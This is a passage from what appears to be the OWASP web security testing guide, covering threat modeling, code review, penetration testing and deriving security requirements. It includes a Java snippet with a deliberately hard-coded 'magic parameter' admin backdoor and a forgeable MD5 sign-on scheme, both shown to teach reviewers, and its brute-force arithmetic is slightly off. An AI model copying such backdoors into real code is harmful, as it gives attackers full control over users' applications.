that there is an adequate policy or skill set in place.\n\nAs with many things in life, when conducting manual inspections and reviews it is recommended that a trust-but-verify model is adopted. Not everything that the tester is shown or told will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement a secure application.\n\nOther activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.\n\n### Advantages\n\n- Requires no supporting technology\n- Can be applied to a variety of situations\n- Flexible\n- Promotes teamwork\n- Early in the SDLC\n\n### Disadvantages\n\n- Can be time-consuming\n- Supporting material not always available\n- Requires significant human thought and skill to be effective\n\n## Threat Modeling\n\n### Overview\n\nThreat modeling has become a popular technique to help system designers think about the security threats that their systems and applications might face. Therefore, threat modeling can be seen as risk assessment for applications. It enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses.\n\nTo develop a threat model, we recommend taking a simple approach that follows the [NIST 800-30](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final) standard for risk assessment. This approach involves:\n\n- Decomposing the application – use a process of manual inspection to understand how the application works, its assets, functionality, and connectivity.\n- Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.\n- Exploring potential vulnerabilities - whether technical, operational, or managerial.\n- Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective by using threat scenarios or attack trees.\n- Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic.\n\nThe output from a threat model itself can vary but is typically a collection of lists and diagrams. The OWASP Code Review Guide outlines an Application Threat Modeling methodology that can be used as a reference for testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications.\n\n### Advantages\n\n- Practical attacker’s view of the system\n- Flexible\n- Early in the SDLC\n\n### Disadvantages\n\n- Relatively new technique\n- Good threat models don’t automatically mean good software\n\n## Source Code Review\n\n### Overview\n\nSource code review is the process of manually checking the source code of a web application for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what’s really going on, go straight to the source.” Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code, somewhere. Unlike testing third-party closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes.\n\nMany unintentional but significant security problems are also extremely difficult to discover with other forms of analysis or testing, such as penetration testing. This makes source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black-box testing.\n\nExamples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses, as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web sites. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or where fail-open control procedures may be present. Operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein. [Ken Thompson’s Turing Award speech](https://ia600903.us.archive.org/11/items/pdfy-Qf4sZZSmHKQlHFfw/p761-thompson.pdf) describes one possible manifestation of this issue.\n\n### Advantages\n\n- Completeness and effectiveness\n- Accuracy\n- Fast (for competent reviewers)\n\n### Disadvantages\n\n- Requires highly skilled security developers\n- Can miss issues in compiled libraries\n- Cannot detect run-time errors easily\n- The source code actually deployed might differ from the one being analyzed\n\nFor more on code review, see the [OWASP code review project](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project).\n\n## Penetration Testing\n\n### Overview\n\nPenetration testing has been a common technique used to test network security for many years. It is also commonly known as black-box testing or ethical hacking. Penetration testing is essentially the “art” of testing a running application remotely to find security vulnerabilities, without knowing the inner workings of the application itself. Typically, the penetration test team is able to access an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given a valid account on the system.\n\nWhile penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work involved is in finding, and then exploiting, known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Some automated penetration testing tools have been developed, but considering the bespoke nature of web applications, their effectiveness alone is usually poor.\n\nMany people use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. As Gary McGraw wrote in [Software Penetration Testing](https://www.garymcgraw.com/wp-content/uploads/2015/11/bsi6-pentest.pdf), “In practice, a penetration test can only identify a small representative sample of all possible security risks in a system.” However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the source code deployed on the web site.\n\n### Advantages\n\n- Can be fast (and therefore cheap)\n- Requires a relatively lower skill-set than source code review\n- Tests the code that is actually being exposed\n\n### Disadvantages\n\n- Too late in the SDLC\n- Front-impact testing only\n\n## The Need for a Balanced Approach\n\nWith so many techniques and approaches to testing the security of web applications, it can be difficult to understand which techniques to use or when to use them. Experience shows that there is no right or wrong answer to the question of exactly which techniques should be used to build a testing framework. In fact, all techniques should be used to test all the areas that need to be tested.\n\nAlthough it is clear that there is no single technique that can be performed to effectively cover all security testing and ensure that all issues have been addressed, many companies adopt only one approach. The single approach used has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested. It is simply “too little too late” in the SDLC.\n\nThe correct approach is a balanced approach that includes several techniques, from manual reviews to technical testing. A balanced approach should cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available, depending on the current SDLC phase.\n\nOf course there are times and circumstances where only one technique is possible. For example, consider a test of a web application that has already been created, but where the testing party does not have access to the source code. In this case, penetration testing is clearly better than no testing at all. However, the testing parties should be encouraged to challenge assumptions, such as not having access to source code, and to explore the possibility of more complete testing.\n\nA balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. It is recommended that a balanced testing framework should look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the SLDC. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.\n\n*Figure 2-3: Proportion of Test Effort in SDLC*\n\nThe following figure shows a typical proportional representation overlaid onto testing techniques.\n\n*Figure 2-4: Proportion of Test Effort According to Test Technique*\n\n### A Note about Web Application Scanners\n\nMany organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, some fundamental issues need to be highlighted about why it is believed that automating black-box testing is not (nor will ever be) completely effective. However, highlighting these issues should not discourage the use of web application scanners. Rather, the aim is to ensure the limitations are understood and testing frameworks are planned appropriately.\n\nIt is helpful to understand the efficacy and limitations of automated vulnerability detection tools. To this end, the [OWASP Benchmark Project](https://owasp.org/www-project-benchmark/) is a test suite designed to evaluate the speed, coverage, and accuracy of automated software vulnerability detection tools and services. Benchmarking can help to test the capabilities of these automated tools, and help to make their usefulness explicit.\n\nThe following examples show why automated black-box testing may not be effective.\n\n### Example 1: Magic Parameters\n\nImagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: `http://www.host/application?magic=value`\n\nTo further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9.\n\nThe designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now: `http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d`\n\nGiven that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30\\^28 permutations, or trillions of HTTP requests. That is an electron in a digital haystack.\n\nThe code for this exemplar Magic Parameter check may look like the following:\n\n```\npublic void doPost( HttpServletRequest request, HttpServletResponse response) { String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”; boolean admin = magic.equals( request.getParameter(“magic”)); if (admin) doAdmin( request, response); else … // normal processing } \n```\n\nBy looking in the code, the vulnerability practically leaps off the page as a potential problem.\n\n### Example 2: Bad Cryptography\n\nCryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In his/her wisdom, the developer decides that if a user is logged into site A, then he/she will generate a key using an MD5 hash function that comprises: `Hash { username : date }`\n\nWhen a user is passed to site B, he/she will send the key on the query string to site B in an HTTP re-direct. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be.\n\nAs the scheme is explained the inadequacies can be worked out. Anyone that figures out the scheme (or is told how it works, or downloads the information from Bugtraq) can log in as any user. Manual inspection, such as a review or code inspection, would have uncovered this security issue quickly. A black-box web application scanner would not have uncovered the vulnerability. It would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.\n\n### A Note about Static Source Code Review Tools\n\nMany organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, it is necessary to highlight some fundamental issues about why this approach is not effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design, since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining security issues due to coding errors, however significant manual effort is required to validate the findings.\n\n## Deriving Security Test Requirements\n\nTo have a successful testing program, one must know what the testing objectives are. These objectives are specified by the security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations, from positive application requirements (specifying what the application is supposed to do), and from negative application requirements (specifying what the application should not do). It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.\n\n### Testing Objectives\n\nOne of the objectives of security testing is to validate that security controls operate as expected. This is documented via `security requirements` that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [OWASP Top Ten](https://owasp.org/www-project-top-ten/), as well as vulnerabilities that have been previously identified with security assessments during the SDLC, such as threat modeling, source code analysis, and penetration test.\n\n### Security Requirements Documentation\n\nThe first step in the documentation of security requirements is to understand the `business requirements`. A business requirement document can provide initial high-level information on the expected functionality of the application. For example, the main purpose of an application may be to provide financial services to customers or to allow goods to be purchased from an on-line catalog. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.\n\nA general checklist of the applicable regulations, standards, and policies is a good preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country or state where the application will operate. Some of these compliance guidelines and regulations might translate into specific technical requirements for security controls. For example, in the case of financial applications, compliance with the [Federal Financial Institutions Examination Council guidelines for authentication](https://www.fdic.gov/news/news/financial/2011/fil11050.html) requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security control and multi-factor authentication.\n\nApplicable industry standards for security must also be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, compliance with the [PCI Security Standards Council](https://www.pcisecuritystandards.org/pci_security/) Data Security Standard (DSS) forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.\n\nAnother section of the checklist needs to enforce general requirements for compliance with the organization’s information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such a requirement can be: “a password complexity of ten alphanumeric characters must be enforced by the authentication controls used by the application.” When security requirements map to compliance rules, a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to manage. Since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.\n\n### Security Requirements Validation\n\nFrom the functionality perspective, the validation of security requirements is the main objective of security testing. From the risk management perspective, the validation of security requirements is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. Examined further, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personally identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization’s encryption standards. These might require that only certain algorithms and key lengths be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-256, RSA, AES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).\n\nFrom the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design; secure code analysis and reviews focus on identifying security issues in source code during development; and penetration testing focuses on identifying vulnerabilities in the application during testing or validation.\n\nSecurity issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black-box test might first involve a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis before the malicious query is executed. Assuming the tester has the source code, he or she might directly learn from the source code analysis how to construct the SQL attack vector that will successfully exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user). This can expedite the validation of the SQL vulnerability.\n\n### Threats and Countermeasures Taxonomies\n\nA `threat and countermeasure classification`, which takes into consideration root causes of vulnerabilities, is the critical factor in verifying that security controls are designed, coded, and built to mitigate the impact of the exposure of such vulnerabilities. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. The [OWASP Testing Guide Checklist](https://github.com/OWASP/wstg/tree/master/checklist) is a helpful resource for guiding testers through specific vulnerabilities and validation tests.\n\nThe focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using [STRIDE](https://en.wikipedia.org/wiki/STRIDE_(security)), an acronym for Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.\n\nA threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying a hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding, the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.\n\n### Security Testing and Risk Analysis\n\nSecurity requirements need to take into consideration the severity of the vulnerabilities to support a `risk mitigation strategy`. Assuming that the organization maintains a repository of vulnerabilities found in applications (i.e, a vulnerability knowledge base), the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.\n\nFor example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing, it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk vulnerabilities can be fixed in further releases.\n\nBy considering the threat scenarios of exploiting common vulnerabilities, it is possible to identify potential risks that the application security control needs to be security tested for. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization’s vulnerability knowledge base can be used to derive security-risk-driven test cases to validate the most likely attack scenarios. For example, if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.\n\n### Deriving Functional and Non-Functional Test Requirements\n\n#### Functional Security Requirements\n\nFrom the perspective of functional security requirements, the applicable standards, policies, and regulations drive both the need for a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests. Examples of positive requirements are: “the application will lockout the user after six failed log on attempts” or “passwords need to be a minimum of ten alphanumeric characters”. The validation of positive requirements consists of asserting the expected functionality and can be tested by re-creating the testing conditions and running the test according to predefined inputs. The results are then shown as as a fail or pass condition.\n\nIn order to validate security requirements with security tests, security requirements need to be function-driven. They need to highlight the expected functionality (the what) and imply the implementation (the how). Examples of high-level security design requirements for authentication can be:\n\n- Protect user credentials and shared secrets in transit and in storage.\n- Mask any confidential data in display (e.g., passwords, accounts).\n- Lock the user account after a certain number of failed log in attempts.\n- Do not show specific validation errors to the user as a result of a failed log on.\n- Only allow passwords that are alphanumeric, include special characters, and are a minimum ten characters in length, to limit the attack surface.\n- Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user’s answer to the challenge question, to prevent brute forcing of a password via password change.\n- The password reset form should validate the user’s username and the user’s registered email before sending the temporary password to the user via email. The temporary password issued should be a one-time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user’s temporary password, the new password, as well as the user’s answer to the challenge question.\n\n#### Risk-Driven Security Requirements\n\nSecurity tests must also be risk-driven. They need to validate the application for unexpected behavior, or negative requirements.\n\nExamples of negative requirements are:\n\n- The application should not allow for the data to be altered or destroyed.\n- The application should not be compromised or misused for unauthorized financial transactions by a malicious user.\n\nNegative requirements are more difficult to test, because there is no expected behavior to look for. Looking for expected behavior to suit the above requirements might require a threat analyst to unrealistically come up with unforeseeable input conditions, causes, and effects. Hence, security testing needs to be driven by risk analysis and threat modeling. The key is to document the threat scenarios, and the functionality of the countermeasure as a factor to mitigate a threat.\n\nFor example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasures perspective:\n\n- Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks.\n- Encrypt passwords using non-reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks.\n- Lock out accounts after reaching a log on failure threshold and enforce password complexity to mitigate risk of brute force password attacks.\n- Display generic error messages upon validation of credentials to mitigate risk of account harvesting or enumeration.\n- Mutually authenticate client and server to prevent non-repudiation and Man In the Middle (MiTM) attacks.\n\nThreat modeling tools such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users’ messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.\n\n### Deriving Security Test Requirements Through Use and Misuse Cases\n\nA prerequisite to describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing use cases. Use cases, in the graphical form as is commonly used in software engineering, show the interactions of actors and their relations. They help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, preconditions, and post-conditions.\n\nSimilar to use cases, [misuse and abuse cases](https://folk.uio.no/nik/2001/21-sindre.pdf) describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios.\n\nMisuse scenarios allow the analysis of the application from the attacker’s point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which are the most critical and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.\n\nTo derive security requirements from [both use and misuse cases](https://iacis.org/iis/2006/Damodaran.pdf), it is important to define the functional scenarios and the negative scenarios and put these in graphical form. The following example is a step-by-step methodology for the case of deriving security requirements for authentication.\n\n#### Step 1: Describe the Functional Scenario\n\nUser authenticates by supplying a username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.\n\n#### Step 2: Describe the Negative Scenario\n\nAttacker breaks the authentication through a brute force or dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker that is used to guess which accounts are valid registered accounts (usernames). The attacker then attempts to brute force the password for a valid account. A brute force attack on passwords with a minimum length of four digits can succeed with a limited number of attempts (i.e., 10\\^4).\n\n#### Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case\n\nThe graphical example below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (entering a username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e. trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.\n\n*Figure 2-5: Use and Misuse Case*\n\n#### Step 4: Elicit The Security Requirements\n\nIn this case, the following security requirements for authentication are derived:\n\n1. Passwords requirements must be aligned with the current standards for sufficient complexity.\n2. Accounts must be to locked out after five unsuccessful log in attempts.\n3. Log in error messages must be generic.\n\nThese security requirements need to be documented and tested.\n\n## Security Tests Integrated in Development and Testing Workflows\n\n### Security Testing in the Development Workflow\n\nSecurity testing during the development phase of the SDLC represents the first opportunity for developers to ensure that the individual software components they have developed are security tested before they are integrated with other components and built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executable files. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.\n\nThe validation of source code before integration in application builds is usually the responsibility of the senior developer. Senior developers are also the subject matter experts in software security and their role is to lead the secure code review. They must make decisions on whether to accept the code to be released in the application build, or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance, as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master then can look at the test results reported by the developers in the tool, and grant approvals for checking in the code changes into the application build.\n\n### Security Testing in the Test Workflow\n\nAfter components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities, they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white-box testing, such as source code analysis, and black-box testing, such as penetration testing. Tests can also include gray-box testing, in which it is assumed that the tester has some partial knowledge about the application. For example, with some knowledge about the session management of the application, the tester can better understand whether the log out and timeout functions are properly secured.\n\nThe target for the security tests is the complete system that is vulnerable to attack. During this phase, it is possible for security testers to determine whether vulnerabilities can be exploited. These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.\n\nUsually, testing engineers, rather then software developers, perform security tests when the application is in scope for integration system tests. Testing engineers have security knowledge of web application vulnerabilities, black-box and white-box testing techniques, and own the validation of security requirements in this phase. In order to perform security tests, it is a prerequisite that security test cases are documented in the security testing guidelines and procedures.\n\nA testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application’s functional testing is usually a responsibility of QA testers, while white-hat hackers or security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team to conduct such tests when a third party assessment is not required (such as for auditing purposes).\n\nSince these tests can sometimes be the last line of defense for fixing vulnerabilities before the application is released to production, it is important that issues are addressed as recommended by the testing team. The recommendations can include code, design, or configuration change. At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the development team to fix all high risk vulnerabilities before the application can be deployed, unless such risks are acknowledged and accepted.\n\n### Developer’s Security Tests\n\n#### Security Testing in the Coding Phase: Unit Tests\n\nFrom the developer’s perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers’ own coding artifacts (such as functions, methods, classes, APIs, and libraries) need to be functionally validated before being integrated into the application build.\n\nThe security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. If the unit test activity follows a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Both secure code reviews and source code analysis through source code analysis tools can help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.\n\nA good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:\n\n- Identity, authentication & access control\n- Input validation & encoding\n- Encryption\n- User and session management\n- Error and exception handling\n- Auditing and logging\n\nDevelopers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as JUnit, NUnit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitation) and boundary checks for variables by asserting the expected functionality of the component.\n\nThe threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number).\n\nAt the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being de-allocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.\n\nUnit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked in to the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application build.\n\nThreat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.\n\nSource code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control, for example, software artifacts cannot be checked into the build with high or medium severity coding issues.\n\n### Functional Testers’ Security Tests\n\n#### Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests\n\nThe main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.\n\nThe integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).\n\nReal attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk-driven tests and have the objective of testing the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.\n\nIncluding security testing in the integration and validation phase is critical to identifying vulnerabilities due to integration of components, as well as validating the exposure of such vulnerabilities. Application security testing requires a specialized set of skills, including both software and security knowledge, that are not typical of security engineers. As a result, organizations are often required to security-train their software developers on ethical hacking techniques, and security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer’s security testing knowledge. A so called “security test cases cheat list or checklist”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service, and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security.\n\nThe first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input, and by checking if SQL exceptions are thrown back to the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited.\n\nA more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example: source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.\n\nThe next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance test (UAT) environment is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled, and web root directory cleaned of test and administration web pages.\n\n## Security Test Data Analysis and Reporting\n\n### Goals for Security Test Metrics and Measurements\n\nDefining the goals for the security testing metrics and measurements is a prerequisite for using security testing data for risk analysis and management processes. For example, a measurement, such as the total number of vulnerabilities found with security tests, might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing, for example, reducing the number of vulnerabilities to an acceptable minimum number before the application is 